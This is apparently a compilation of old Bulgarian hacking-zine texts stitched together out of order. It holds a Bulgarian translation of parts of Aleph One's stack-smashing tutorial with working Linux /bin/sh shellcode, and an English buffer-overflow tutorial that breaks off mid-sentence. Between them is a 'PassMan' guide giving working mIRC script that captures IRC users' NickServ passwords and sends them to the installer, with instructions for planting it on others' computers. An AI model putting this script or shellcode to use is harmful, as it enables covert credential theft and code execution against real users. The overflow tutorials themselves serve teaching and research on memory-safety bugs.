то искаме да експлойтнем (и съответно стринга "/bin/sh", който е непосре-
дствено след него). Единият вариант е да използуваме инструкциите JMP и
CALL. Тези две инструкции могат да използуват относително адресиране спря-
мо IP (*Instruction Pointer - вж. част 1*), което означава, че можеме да
се прехвърлиме на дадено отместване от текущото IP без да знаем точния му
адрес в паметта. Ако сложим инструкция `call` точно преди стринга "/bin/sh"
и инструкция JMP след нея, адресът на стринга ще бъде поставен в стека като
връщан адрес когато се изпълни `call`. Всичко, което после трябва да на-
правим е да копираме този адрес в регистър. Инструкцията CALL може просто
да извиква началото на кода, който направихме отгоре. Сега нека предполо-
жим, че с J заместваме инструкцията JMP, с C -инструкцията CALL, а с s
стринга. Сега стека ще изглежда така:

нисък ад- DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF висок адрес
рес 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF на паметта
buffer sfp ret a b c

<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
връх на дъно на
стека стека


С тези промени, използувайки относителни адреси и записвайки по колко бай-
та в паметта отнема всяка инструкция, нашия код би изглеждал така:

------------------------------------------------------------------------------
jmp отместване от call # 2 байта
popl %esi # 1 байт
movl %esi,array-offset(%esi) # 3 байта
movb $0x0,nullbyteoffset(%esi)# 4 байта
movl $0x0,null-offset(%esi) # 7 байта
movl $0xb,%eax # 5 байта
movl %esi,%ebx # 2 байта
leal array-offset,(%esi),%ecx # 3 байта
leal null-offset(%esi),%edx # 3 байта
int $0x80 # 2 байта
movl $0x1, %eax # 5 байта
movl $0x0, %ebx # 5 байта
int $0x80 # 2 байта
call offset-to-popl # 5 байта
/bin/sh - стрингът.
------------------------------------------------------------------------------

След като изчислим отместванията от jmp до call, от call до popl, от
адреса на стринга до адреса на масива и от адреса на стринга до NULL, полу-
чаваме следния код:

------------------------------------------------------------------------------
jmp 0x26 # 2 байта
popl %esi # 1 байт
movl %esi,0x8(%esi) # 3 байта
movb $0x0,0x7(%esi) # 4 байта
movl $0x0,0xc(%esi) # 7 байта
movl $0xb,%eax # 5 байта
movl %esi,%ebx # 2 байта
leal 0x8(%esi),%ecx # 3 байта
leal 0xc(%esi),%edx # 3 байта
int $0x80 # 2 байта
movl $0x1, %eax # 5 байта
movl $0x0, %ebx # 5 байта
int $0x80 # 2 байта
call -0x2b # 5 байта
.string \"/bin/sh\" # 8 байта
------------------------------------------------------------------------------

За да сме сигурни, че работи добре просто трябва да компилираме и старти-
раме програмата. Но има един проблем. Кодът описан в част 1 се модифицираше
самичък, но повечето операционни системи маркират адреса в паметта, където е
изпълнимия в момента код като read-only т.е. в него не можем да записваме ни-
що. За да преминем това ограничение, трябва да поставим искания код в стека или
в сегмент определен за данни (*вж. началото на част 1*) и след това да преда-
дем изпълнението към него. За тази цел ще поставим нашия код в масив от данни
и ще го запишем в сегмента за данни. Първо се нуждаем от шестайсетично пред-
ставяне на всеки байт от този shell код. Използуваме `gdb`, за да го получим:

(* След като се зареди даден код в `gdb`, hex кодът на даден адрес в паметта
може да се получи посредством:
x/bx ADDRESS/OFFSET
Именно това е направено отдоклу. Най-накрая в примера е направена програма
testsc.c, която отваря shell посредством този shellcode*)


shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------

------------------------------------------------------------------------------
$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130
: pushl %ebp
0x8000131 : movl %esp,%ebp
0x8000133 : jmp 0x800015f
0x8000135 : popl %esi
0x8000136 : movl %esi,0x8(%esi)
0x8000139 : movb $0x0,0x7(%esi)
0x800013d : movl $0x0,0xc(%esi)
0x8000144 : movl $0xb,%eax
0x8000149 : movl %esi,%ebx
0x800014b : leal 0x8(%esi),%ecx
0x800014e : leal 0xc(%esi),%edx
0x8000151 : int $0x80
0x8000153 : movl $0x1,%eax
0x8000158 : movl $0x0,%ebx
0x800015d : int $0x80
0x800015f : call 0x8000135
0x8000164 : das
0x8000165 : boundl 0x6e(%ecx),%ebp
0x8000168 : das
0x8000169 : jae 0x80001d3 <__new_exitfn+55>
0x800016b : addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 : 0xeb
(gdb)
0x8000134 : 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------

testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
$ gcc -o testsc testsc.c
$ ./testsc
$ exit
$
------------------------------------------------------------------------------

Еврика...най-накрая получихме нашия shell code...но не съвсем. Остана само
един малък проблем. В повечето случаи ще се опитваме да препълним символен бу-
фер, така че всякакви байтове със стойност 0x0 ще бъдат приети като край на
стринга и копирането му в буфера ще бъде прекратено. Следователни не трябва да
има стойности 0x0 никъде в нашия shell код. Нека се опитаме да премахнем всич-
ки 0x0:

Проблемна инструкция: Замяна с:
--------------------------------------------------------
movb $0x0,0x7(%esi) xorl %eax,%eax
molv $0x0,0xc(%esi) movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
--------------------------------------------------------
movl $0xb,%eax movb $0xb,%al
--------------------------------------------------------
movl $0x1, %eax xorl %ebx,%ebx
movl $0x0, %ebx movl %ebx,%eax
inc %eax
--------------------------------------------------------

И ето вече нашия последен подобрен код:

shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x1f # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl %eax,%eax # 2 bytes
movb %eax,0x7(%esi) # 3 bytes
movl %eax,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx,%ebx # 2 bytes
movl %ebx,%eax # 2 bytes
inc %eax # 1 bytes
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------

И накрая да тестваме програмата:

testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
$ gcc -o testsc2 testsc2.c
$ ./testsc2
$ exit
$
------------------------------------------------------------------------------

-------------------------------------- Край на част 2 ---------------------------------
BugTraq, r00t, и Underground.Org
ви представят:

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Smashing The Stack For Fun And Profit
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

от Aleph One
aleph1@underground.org

(Българска Версия)
(преведено от |Razor|)
Заб. Текста ограден в (* ... *) е пояснение вмъкнато от мен

/ Част 1 \

`разбиване на стека` - [определение от програмирането на C]
В много дистрибуции на C е възможно да се промени съдържа-
нието на стека чрез записване на повече от отделената в него
информация. Кода, който прави това може да промени хода на из-
пълнение на програмата като е пренасочи към случаен адрес.
Това може да причини един от най-опасните бъгове в системите...
препълване на буфера


Въведение
-----------

На последно време се наблюдава голямо нарастване на уязвимостите в системите
получени от препълвания на буфера. Примери са следните апликации(програми):
syslog, splitvt, sendmail, Linux/FreeBSD mount и други. Този документ обяснява
принципа на действие на препълванията и съответно работата на експлоитите към тях

За документа са необходими начални знания в асемблер и C. Познаването на стру-
ктурата на RAM паметта в компютъра и работата с `gdb` (*debug програма за Linux*)
са също полезни. И разбира се трябва да имате Intel x86 процесор с операционна
система Linux.

В началото малко основна терминология:
Буфера е съвкупност от поредни клетки в паметта на компютъра, които съдържат
данни от един и същи тип (*в нашия случая използуваме char*). Статичните промен-
ливи се заделят по време на зареждането на програмата,а динамичните се заделят в
стека по време на изпълнението.
Препълването е да запишем повече информация в стека отколкото е отделено от про-
менливата


Организация на паметта
------------------------

За да разберете какво са стек буферуте първо трябва да се запознаем как процесите
са организирани в паметта. Те са разделени на три региона: текст, данни и стек. Ще
се концентрираме на стек-региона, но първо ще разгледаме бегло другите два.

Текстовият регион е фиксиран от програмата и включва инструкции(кодове) и данни,
които единствено могат да бъдат четени(при опит за запис възниква грешка).

Регионна с данни съдържа инициализирани и не-инициализирани данни. Статичните про-
менливи са заделени в тази област

/------------------\ памет с
| | по-нисък
| Текст | адрес
| |
|------------------|
| (Инициализирани) |
| Данни |
|(Неинизиализирани)|
|------------------|
| |
| Стек | памет с
| | по-висок
\------------------/ адрес

Фиг. 1 Региони в паметта


Какво е стек
--------------

Стека е част от паметта където могат да бъдат временно съхранявани различ-
ни типове данни.
(* Стека е организиран със структура LIFO (Last In First Out). Това означава, че
елементът вкаран последен, излиза първи:

|X| връх \
|O| - стек
|O| /
|_| дъно /

Така ако последователно сме поставяли "O","O" и "X" редът на изваждането им ще е
"X","O","O" *)


За работа със стека се използуват предимно два оператора:
PUSH - слага елемент на върха на стека
POP - извлича елемента, който е на върха и променя големината на стека с 1


Защо използуваме стек?
------------------------

Сегашните компютърни езици използуват под-програми (функции), които поз-
воляват едно и също действие да се изпълнява много пъти само чрез извикване-
то на името на функцията (без кода да се пренаписва отново). Функцията се из-
пълнява чрез пренасочване на програмата към адреса, на който е записана. Това
на пръв поглед наподобява нормален безусловен (* инструкциа jmp*) преход, но
за разлика от него след приключване на функцията, програмата продължава изпъл-
нението си след мястото, от което е била пренасочена (* инструкция ret*).
Именно тука взема участие стека. В него се записват параметрите, които тря-
бва да получи функцията. (*Тези параметри се записват на стека в обратен ред,
за да може функцията да ги "вземе" в правилен (понеже както казахме стека има
LIFO структура) *)

Региона на стека
------------------

Стека представлява поредни клетки от паметта съдържащи различни данни. Регис-
търът SP (stack pointer) винаги съдържа адреса на върха на стека. Дъното има фик-
сиран адрес. Големината на стека се променя непрекъснато от kernel-а по време на
изпълнението на програмата.

След извикване на функция, параметрите записани в стека играят ролята на ло-
кални променливи в самата функция. Освен данните за лоакалните променливи, в
него е записана и информация, за възстановяване на предишния адрес на програмата
(на който трябва да се прехвърли след като изпълнението на подпрограмата при-
ключи). Регистъра който сочи адреса към следващата инструкция, която програмата
трябва да изпълни се нарича IP (instruction pointer)

В зависмост от ОС-а стека може да нараства към по-висок или към по-нисък ад-
рес на паметта. В този документ ще използуваме стек, който се разширява към нис-
ки адреси. По този начин действат повечето компютри като Interl, Motorolla, SPARC.
Указателя към стека (SP) също се различава в отделните дистрибуции. Той може да
сочи към последния адрес на стека или към адреса, след последната свободна клетка

(*
Вариант 1 Вариант 2
<- SP - по-нисък адрес
|X| <- SP |X|
|X| |X|
|X| |X|
|_| |_| - по-висок адрес
*)

Освен регистъра SP, който сочи върха на стека (по-ниският адрес) често се из-
ползува и указател към клетка (FP - Frame Pointer), който съдържа фиксирана по-
зиция в дадена клетка. Някои текстове също се посочват от локален базов указа-
тел (LB - local base pointer). По принцип локалните променливи могат да бъдат
посочени като се знае отместването им в стека спрямо регистъра SP, но понеже
броят на данните в стека непрекъснато се сменя, това може да стане и спрямо BP
(base pointer). Много компилатори използуват втори регистър, FP, като указател
към локалните променливи и параметрите, понеже те не се отместват спрямо адреса
от този регистър при използуването на POP или PUSH.

Първото нещо, което трябва да направи една функция(процедура), когато бъде из-
викана е да запомни текущия FP, за да може изпълнението на програмата да се вър-
не след приключване на процедурата. Тогава тя записва съдържанието на SP върху
FP, за да създаде нов FP, и разширява SP, за да може в стека да бъде отделено
място за локалните променливи. Тази част от кода се нарича "процедурен пролог".
След приключването работата на процедурата, стека се изчиства в старото му със-
тояние. Тази част се нарича "процедурен епилог".

Нека видим какво представлява стека в проста C програма

primer1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}

void main() {
function(1,2,3);
}
------------------------------------------------------------------------------

За да разберем какво точно прави програмата, за да извика function() е ком-
пилираме с `gcc` използвайки параметър -S, който изисква генерирането на асем-
блиран код.

$ gcc -S -o primer1.s primer1.c
$ pico primer1.s

Поглеждайки в кода на асемблер виждаме че извикването на function() е пред-
ставено със следните редове:

pushl $3
pushl $2
pushl $1
call function

Функцията приема 3 аргумента (* както споменах те се слагат в стека в обра-
тен ред*). Инструкцията `call` слага указателя IP (instruction pointer) върху
стека. Ще наричаме запомният IP `връщан адрес` (RET). Първото нещо което се
прави от функцията е процедурният пролог:

pushl %ebp
movl %esp,%ebp
subl $20,%esp

Нека разгледаме този код. Първо EBP, (frame pointer), се слага на върха на
стека. Тогава се копира съдържанието на SP върху EBP, правейки го нов FP указа-
тел. Ще наричаме запаметеният FP указател SFP. Най-накрая се създава място за
локалните променливи (buffer1 и buffer2) като тяхната големина се изважда от SP.

Трябва да се помни че паметта може да бъде адресирана на части с големина не
по-малки от една `дума` (word). `Думата` в случая е 4 байта или 32 бита. Така че
нашият 5-байтов buffer1 ще заеме 8 байта в паметта(2 думи), а 10-байтовият
buffer2 ще заеме 12 байта (2 думи). Именно затова от SP се изважда 20.
Имайки това предвид нашият стек ще изглежда по следният начин:
(*Цифрата в клетката показва големината й в байтове*)

нисък адрес на висок адрес на
паметта паметта
buffer2 buffer1 sfp ret a b c
<----- [ 12 ][ 8 ][ 4 ][ 4 ][ 4 ][ 4 ][ 4 ]

връх на дъно на
стека <--- стека

(* Показано по-нагледно:
BP - base pointer - базово отместване

| |
BP+16 | 3 аргумент | стек - връх
BP+12 | 2 аргумент |
BP+8 | 1 аргумент |
BP+4 |връщан адрес|
BP |съхранено BP|
BP-8 | buffer1 |
BP-12 | buffer2 | стек - дъно
------------
*)

Препълвания на буфера
-----------------------

Препълване на буфера се получава когато се опитаме да му сложим повече дан-
ни от колкото може да побере. Но как това помага на хакерите да изпълнят соб-
ствен код в програмата? Нека погледнем следния пример:

primer2.c
------------------------------------------------------------------------------
void function(char *str) {
char buffer[16];

strcpy(buffer,str);
}

void main() {
char large_string[256];
int i;

for( i = 0; i < 255; i++)
large_string[i] = 'A';

function(large_string);
}
------------------------------------------------------------------------------

$ gcc -o primer2 primer2.c
$ ./primer2
Segementation fault (Core dumped)

Това е програма имаща функция с ясно изразена грешка с препълване на буфера.
Тази функция копира зададеният и низ в буфер използувайки strcpy() вместо
strncpy() (* strncpy копира N байта от изходния низ, до като strcpy() копира
низа до като не достигне краят му - chr(0) *).
Ако стартирате програмата ще получите грешка в сегментацията (* програмата се
опитва да чете от адрес, от който не и е позволено *). След извикване на функ-
цията стека изглежда по следният начин:

нисък адрес висок адрес
на паметта на паметта
buffer sfp ret *str
<----- [ ][ ][ ][ ]

връх на дъно на
стека стека

Какво всъщност става тука и от къде идва тази грешка в сегментацията?
strcpy() копира съдържанието на larger_string[256] в buffer[16] както казах
без никаква проверка дали това практически е възможно. Съвсем ясно се вижда
че buffer[] е много по-малък от *str. В buffer[] се записват само първите 16
байта от larger_string, а останалата част се презаписва върху стека. Презапи-
саните части на стека включват SFP, RET и дори самият *str!. Нашият large_string
съдържа 256 символа `A` с ASCII 0x41 (шестнадесетично). Това означава, че връ-
щаният адрес вече е 0x41414141. Това е извън адресното пространство на процеса.
Функцията се връща и се опитва да прочете следващата инструкция от този адрес
(0x41414141). При този опит kernel-а прекъсва изпълнението на програмата и връ-
ща `Segmentation fault` (грешка в сегментацията).

Значи препълването на буфера ни позволява да променим връщаният от функция
адрес. По този начин ние можем да променим хода на изпълнението на програмата.
Нека се върнем към първия пример и се опитаме да видим как изглеждаше стека:

нисък адрес висок адрес
на паметта на паметта
buffer2 buffer1 sfp ret a b c
<----- [ 12 ][ 8 ][ 4 ][ 4 ][ 4 ][ 4 ][ 4 ]

връх на дъно на
стека стека


Нека се опитаме на променим този първи пример, така че той да променя връ-
щаният адрес и да покажем как можем да изпълнем някакъв код. Точно преди
buffer1[] в стека се намира SFP, а преди него връщаният адрес. Това означава
4 байта след края на buffer1[] (запомнете че големината на buffer1[] е всъ-
щност 8 байта, така че връщаният адрес се получава на 12 байта отместване от
началото). Ще променим връщаният адрес(ret), така че редът:
x = 1;
да бъде прескочен от програмата. За да направим това добавяме 8 байта към стой-
ността записана ret. Кодът би изглеждал по следният начин:


primer3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;

ret = buffer1 + 12;
(*ret) += 8;
}

void main() {
int x;

x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------

Сега компилирайте и стартирайте програмата и... хоп - вместо 1 програмата из-
вежда резултат 0!
Всъщност добавихме 12 към адреса на buffer1[] в паметта.
ret = buffer1 + 12;
На този нов адрес е записан адреса, на който функцията трябва да се върне.
Целта ни беше да прескочим редът `x = 1` и да отидем направо на процедурата
printf(). Но как разбрахме, че трябва да добавим 8 към стойността на връщаният
адрес? За начало използуваме пробна стойност (например 1), компилираме програ-
амта и използуваме `gdb`:

------------------------------------------------------------------------------
$ gdb primer3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490
: pushl %ebp
0x8000491 : movl %esp,%ebp
0x8000493 : subl $0x4,%esp
0x8000496 : movl $0x0,0xfffffffc(%ebp)
0x800049d : pushl $0x3
0x800049f : pushl $0x2
0x80004a1 : pushl $0x1
0x80004a3 : call 0x8000470
0x80004a8 : addl $0xc,%esp
0x80004ab : movl $0x1,0xfffffffc(%ebp)
0x80004b2 : movl 0xfffffffc(%ebp),%eax
0x80004b5 : pushl %eax
0x80004b6 : pushl $0x80004f8
0x80004bb : call 0x8000378
0x80004c0 : addl $0x8,%esp
0x80004c3 : movl %ebp,%esp
0x80004c5 : popl %ebp
0x80004c6 : ret
0x80004c7 : nop
------------------------------------------------------------------------------

Лесно можем да видим че след извикването на функцията RET ще бъде 0x80004a8,
а ние искаме да прескочим инструкцията на 0x80004ab. Следователно следващата ин-
струкция, която ни интересува е на 0x80004b2. Използувайки шестнадесетичен кал-
кулатор изчисляваме:

80004b2
- 80004a8
-------------
8

По този начин намираме отместването до следващия адрес.

-------------------------------------- Край на част 1 ---------------------------------
PassMan script (lame edition)




Това ръководство го написах за най-големите леймъри от вас, които все ми задават въпроса как да
използуват този скрипт (прочул се още като PassMan,понеже на това име праща паролите по
подразбиране).
Не знам какво толкова неясно има в двата реда обяснение, но явно голяма част от вас не могат да
го сложат на даден компютър. Разбира се в това няма нищо лошо, но започнах да се вбесявам от
всички, които ме питат за това как се инсталира.

Всичко за слагането на скрипта е обяснено съвсем подробно в страницата и ако някой не може да го
направи по описания начин, то тогава титлата "леймър" трябва за него да звучи като "Господ".

(А тези,които си имат представа моля да не ми се смеят на обясненията)

Част I - инсталиране на скрипта

1) Маркирайте осемте реда отдолу (това става като задържите левия бутон на мишката натиснат в
началото на първия ред и е мръднете до последния ред като разбира се не отпускате бутона)


on 1:INPUT:*: { /if ($3 == identify) {
;Change the "PassMan" in the next line to your nickname
/set %rnick PassMan
; Script developed by Bulhack (www.bulhack.org)
/if ( ? isin $4) || ( ? isin $5) { /.timer948 -m 1 1 /sendit | /haltdef }
else { $1- | /.msg ms send %rnick $1- | /.ignore -u60 MS | /haltdef }
}
}

2) Докато текста е маркиран (написан с друг цвят) натиснете Ctrl+C (задържате бутона Ctrl и
докато сте го задържали натискате клавиша "C")

3) Ако нямате отворена mIRC-а отворете една (с двойно щракане върху иконката и). Сега натиснете
Alt+R (задържате клавиша Alt и натискате клавиша "R").
Пред вас сега изкочи един нов прозорец,а в горната му част пише "mIRC Editor". Сега чрез
стрелката надолу отидете на най-долния ред (просто задръжте стрелката докато маркера спре да се
движи надолу). Сега смело натиснете Ctrl+V (отново задържате клавиша Ctrl и натискате клавиша
"V")
Както виждате съдържанието на осемте маркирани реда от Web сртаницата по някакъв странен начин
се преместиха в този прозорец "mIRC Editor" (какви гении има в Microsoft само)

4) Идва реда да сменим името по подразбиране (PassMan) на вашето. Това става по следниа начин:

Ето това е третиа ред от скрипта:
/set %rnick PassMan
Просто изтрийте "PassMan" и на негово място сложете вашия nick. Например ако nick-а ви е
Hacker007 реда ще придобие следния вид:
/set %rnick Hacker007

5) Сега чрез мишката натиснете върху бутона "OK" на прозореца "mIRC Editor" и... хоп прозореца
изчезна.

6) По начина описан в стъпка 1) маркирайте петте реда отдолу. В случай, че вече не помните как
става ... вижте по-отгоре. Та след като маркирате петте реда натиснете отново Ctrl+C (задържате
бутона Ctrl и докато сте го задържали натискате клавиша "C")

/sendit {
; Script developed by BulHack (bulhack.org)
/set %password $?*="Enter reply:"
/.msg ns identify %password | /.msg ms send %rnick Parola: %password | /.ignore -u60 MS
}

7) Отидете отново на вашата mIRC-а (която предполагам не сте затворили) и натиснете Alt+A
(задържате клавиша Alt и натискате клавиша "A"). От вас отново се отвори стариа прозорец "mIRC
Editor" , но сега той е празен. Нямам намерение да обяснявам защо това е така.

8) Сега отидете със стрелката надолу на последния ред и натиснете Ctrl+V (задържате клавиша Ctrl
и натискате клавиша "V")... и отново пред вас изкочиха петте реда, които бяхте маркирали.

9) Накрая просто натиснете бутона "OK" и всичко е готово. Вече сте инсталирали скрипта на този
компютър.
Добре е да го репетирате няколко пъти до като свикнете да го правите без да четете от тук

Част II - преглед на получените пароли

Сега след като сте инсталирали този скрипт на един или няколко компютъра идва въпроса как да
видите получените пароли:

1) Влезте в UniBG с името, които си нагласихте в точка 4) .

2) Идентифицирайте се с командата:
/msg ns identify PAROLA
Вместо PAROLA напишете паролата ви за този nick

3) След това, за да видите списък с хората, чиито пароли сте получили напишете в някой прозорец
на mIRC (без значение кой):
/msg ms list

4) За да видите паролата на даден човек напишете в mIRC
/msg ms read N
където N е номера на човека, който сте получили с командата в точка 3)

5) Ако видите, че сте събрали 20 пароли (което е максимума) напишете:
/msg ms del all


Това е всичко обяснено на дълго и на широко. Ако не можете да се справите не ме търсете...явно
компютъра не е средство за вас...
--=Buffer Overflows by drunkk=--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

0x1. INTRODUCTION

Site: http://www.sig-hup.net/
E-Mail: drunkk@sig-hup.net
IRC: Undernet -> #gcc
Date: January 10, 2002

This article explains buffer overflows. I didn't get into details only
in the most important parts. The code was tested on FreeBSD 4.3-REL and on
Linux RedHat 7.0, but it should work just fine on other systems too.
Notice that the shellcode is not the same in FreeBSD as it is in Linux.
Let's get started since i'm tired of stupid introductions.

Chapters:
- introduction
- understanding how the stack works
- short theory about buffer overflows
- executing arbitrary code and the shellcode
- finding the buffer size
- offsets
- generating the buffer
- the end

0x2. UNDERSTANDING HOW THE STACK WORKS

To understand what a buffer overflow is and how it works he must first
understand how the memory is organized for each function and process.
For each process we got a text, data and a stack segment or stack
frame. We are going to concentrate on the stack. Elements can be pushed
and poped off the stack this way: the last object pushed in, is the first
one that gets to be popped out, and it is called a LIFO stack (last
in/first out).
The stack is divided into segments, called frames. Each
function/process has it's own frame in which you can find local dynamic
variables, and data for recovering the previous frame pointer. This stuff
is very usefull to limit permissions on the stack and in memory.
The data for recovering the previous frame pointer are: the Instruction
Pointer (IP - represents the address of the instruction below the point
where the function was called, so that it knows where to return in the
calling function), the Frame Pointer or the Base Pointer (EBP, which
represents the address where the previous frame pointer begins). We also
have another register reffering to the stack, the Stack Pointer (SP) and
it contains the memory address of the last object pushed into the stack
(the top of the stack).

example.c:

void function(int a,b,c) {
char buffer1[5];
char buffer2[20]
}

main() {
function(1,2,3);
// The line below is pointed to by the Instruction Pointer
}

Parameters of the stack are pushed into the stack backwards, in this
example c, then b, then a. The stack would look like this:

[ buffer2 ][ buffer1 ][ BP ][ IP ][ a ][ b ][ c ]

BP - Base Pointer (Frame Pointer)
IP - Instruction Pointer (Return address)
buffer1, buffer2 - dynamic variables of function() are allocated on the
stack.

When function() finishes execution it pops out it's variables from the
stack (in this case buffer1 and buffer2). Remember, the actual base
pointer (frame pointer) is not the one on the stack. The base pointer on
the stack contains the content (heh) of the frame pointer for the previous
frame, so it is popped and now we are working with the previous frame of
the calling function/process. Then it pops the instruction pointer (IP)
and returns to the instruction at the address inside it (see the comment
in the code).
If you compile the code with gcc, using the -S switch (gcc -S -o
example.asm example.c), you will get the assembly code representation of
example.c. Notice the first two lines where the current stack pointer
becomes the frame pointer, though, the beginning of our new frame, after
the current EBP is pushed into the stack and saved.

push %ebp # saves the current base pointer

mov %esp, %ebp # the stack pointer becomes the
current base pointer

sub $0x20, %esp # the stack pointer is moved down
by 0x20 to allocate space for
buffer1 and buffer2...

...i'm sure you're wondering why it allocates 32 bytes (because 0x20 in
hex is 32 bytes) and buffer1 and buffer2 are made of only 15 bytes. Wrong!
Memory is organized in words (1 word = 4 bytes = 32 bits), so the 5 byte
buffer1 is actually 8 bytes in memory, and the 20 byte buffer, buffer2, is
actually 24 bytes in memory, by that the total of 32 bytes = 0x20 (in
hex).

0x3. SHORT THEORY ABOUT BUFFER OVERFLOWS

I'll explain this very shortly, i hope you'll understand.
Take a look at the graphical representation of the stack above. Notice
that buffer1 is 8 bytes and it is next to %ebp and %eip. Now let's suppose
we are using strcpy() to copy a string into buffer1. This must be smaller
then 8 bytes (of course, you as a regular coder know that it should be
smaller then 5 bytes, but until 8 bytes you do no harm). Now usualy
functions to boundary checking for this kinds of operations like buffer
moves, copies etc. But strcpy, strcat, fgets and other functions don't, so
if we'll write more then 8 bytes in buffer that'll be a buffer overflow
and we'll overwrite the base pointer and maybe the instruction pointer. A
buffer overflow is not necessarilly defined by overwriting %ebp and %eip.
But you'll see in the next section what insecure coding like that can
result into (benefiting the hacker, of course).

example2.c:

main() {
char buffer[12], big[16];
for(i=0;i<16;i++) { big[i]='A' }
strcpy(buffer, big);
}

You can notice above that big is 4 bytes bigger then buffer. We fill
big with A-s and then we copy it over(into) buffer. The initial stack
before anything happens looks like this (1 space = 1 byte).

[ big ][ buffer ][ BP ][ IP ]....

Now, big is filled with A-s and copied over buffer overwriting the base
pointer:

[AAAAAAAAAAAAAAA][AAAAAAAAAAAA][AAAA][ IP ]....

As you see, our for() cycle fills the "big" buffer with 'A'-s and then
copies it over buffer using strcpy() with no boundary checking, by that
overwriting EBP.

0x4. EXECUTING ARBITRARY CODE AND THE SHELLCODE

The Instruction Pointer points to an instruction in memory as we talked
about it in part 1. Now i hope you all know coding and i don't have to
give out coding lessons here. I will only mention that a pointer takes up
4 bytes in memory (because a memory address is 4 bytes long, ex.
0xbfbfcd0a). If we could somehow overwrite the Instrucion Pointer with
another memory address that points to an arbitrary code that we wish to
execute we could exploit the vulnerable program. So let's get started on
this.
Now a very short update on the shellcode in case you don't know what it
is. As an example let's say that we want to redirect the Instruction
Pointer to point to a code that will spawn us a shell. Now how do we
insert that code into the memory? Easy, by designing the shellcode for it.
I won't go into details on how do design it, you can get it anywhere, but
at least you should understand how it works and why it is used.
This is the code we wish to execute:

example3.c:

#include

main() {
char *execs[2];
execs[0] = "/bin/sh";
execs[1] = NULL;
execve(name[0], name, NULL);
}

Now this code will spawn us the shell. To get the shellcode and get it
into our program you'll first need to compile the program using -S and -
static (includes source code for functions, so it doesn't depend on any
specific libraries) to get the assembly representation of the source code.
I assume you have knowledge of ASM. Now try and make that code "general"
so that it won't contain anything else but memory distances, and no
specific addresses, so that it will work anywhere (this is the part i am
skipping).
After you make the final ASM code, rewrite it in C with a simple main()
function like this:

main() {
__asm__("
// Your asm code goes here
");
}

...then compile it and debug it again with gdb. Type "disassemle main"
to see the full asm code of your asm code :). We need this code to be
executed in memory so that the vulnerable program spawns us a shell. If
you designed the correct code you should notice that the code modifies
itself, so we can't put it into the text zone of the memory
(unmodifiable), we can only put it into the data zone which can be
modified while the program is running. So we need to represent our asm
code in hex. Notice that each instruction begins with a memory address
then , where x is the distance of bytes from the beginning of
main(). You can use the x/FMT ADDRESS command in gdb to represent/see a
line of code in a format that you want. Use the viewing of the code in hex
value per byte. To do this do x/bx main+x. Replace x with the first
instruction after the initialization of the function (without the push of
%ebp, and the mov for the new stack pointer). I guess it should be
